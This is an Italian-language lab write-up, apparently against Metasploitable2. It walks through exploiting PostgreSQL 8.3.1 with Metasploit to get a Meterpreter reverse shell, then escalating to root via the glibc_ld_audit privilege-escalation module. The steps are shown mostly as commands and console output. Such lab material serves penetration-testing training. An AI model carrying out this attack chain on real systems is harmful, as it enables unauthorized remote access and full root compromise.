

Sfruttare una vulnerabilità nel servizio PostgreSQL ed eseguire un'escalation di privilegi per passare da un utente limitato a root

Come primo passaggio, si deve ottenere una sessione di *Meterpreter*. Per questo motivo si utilizza l' exploit `exploit/linux/postgres/postgres_payload`.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.1.20:4444
[*] 192.168.1.150:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/cDijtNcY.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.20:4444 → 192.168.1.150:34506) at 2024-11-13 09:03:23 -0500

meterpreter > ifconfig

Interface 1
-----
Name           : lo
Hardware MAC   : 00:00:00:00:00:00
MTU            : 16436
Flags          : UP,LOOPBACK
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
-----
Name           : eth0
Hardware MAC   : 08:00:27:4a:84:8e
MTU            : 1500
Flags          : UP,BROADCAST,MULTICAST
IPv4 Address   : 192.168.1.150
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : 2a01:e11:400:b490:a00:27ff:fe4a:848e
IPv6 Netmask   : ffff:ffff:ffff:ffff::
IPv6 Address   : fe80::a00:27ff:fe4a:848e
IPv6 Netmask   : ffff:ffff:ffff:ffff::

meterpreter > getuid
Server username: postgres
meterpreter > █
```

Dopo essere riusciti nell' exploit, come si vede nell' immagine, si è ottenuta una sessione di meterpreter, ed inoltre, utilizzando il comando `getuid`, si può verificare quale tipologia di utente si ha avuto accesso, cioè *postgres*.

Giunti a questo punto, bisogna eseguire un altro exploit per passare da utente postgres ad utente root, quindi riuscire ad eseguire il privilege escalation. Per fare ciò va messa in pausa la sessione con il comando *background* ed eseguire un secondo comando *post/multi/recon/local\_exploit\_suggester*, che rilascerà una lista di exploit.

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_payload) > search suggester

Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  post/multi/recon/local_exploit_suggester .              normal No     Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(linux/postgres/postgres_payload) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.1.150 - Collecting local exploits for x86/linux ...
[*] 192.168.1.150 - 196 exploit checks are being tried...
[+] 192.168.1.150 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.150 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.150 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.1.150 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.1.150 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.1.150 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid
```

L' exploit da eseguire è *exploit/linux/local/glibc\_ld\_audit\_dso\_load\_priv\_esc*, che a sua volta rilascerà una lista di payloads. Quello interessato è *payload/linux/x86/meterpreter/reverse\_tcp*.

Successivamente si settano la sessione che avevamo messo in pausa e anche il target. Quest' ultimo perché metasploitable2 è settato con x86 e non con x64, come lo esegue il payload in automatico.

Inseriti questi parametri si può procedere con l' esecuzione dell' exploit che effettuerà il privilege escalation, permettendo di accedere all' utente root. Eseguendo il comando *getuid*, si può verificare il cambio di utente.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.1.20:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.j9Mzi1' (1271 bytes) ...
[*] Writing '/tmp/.XBNCYs' (276 bytes) ...
[*] Writing '/tmp/.zbISe5Q' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1017704 bytes) to 192.168.1.150
[*] Meterpreter session 2 opened (192.168.1.20:4444 → 192.168.1.150:54912) at 2024-11-13 10:59:51 -0500

meterpreter > getuid
Server username: root
meterpreter > |
```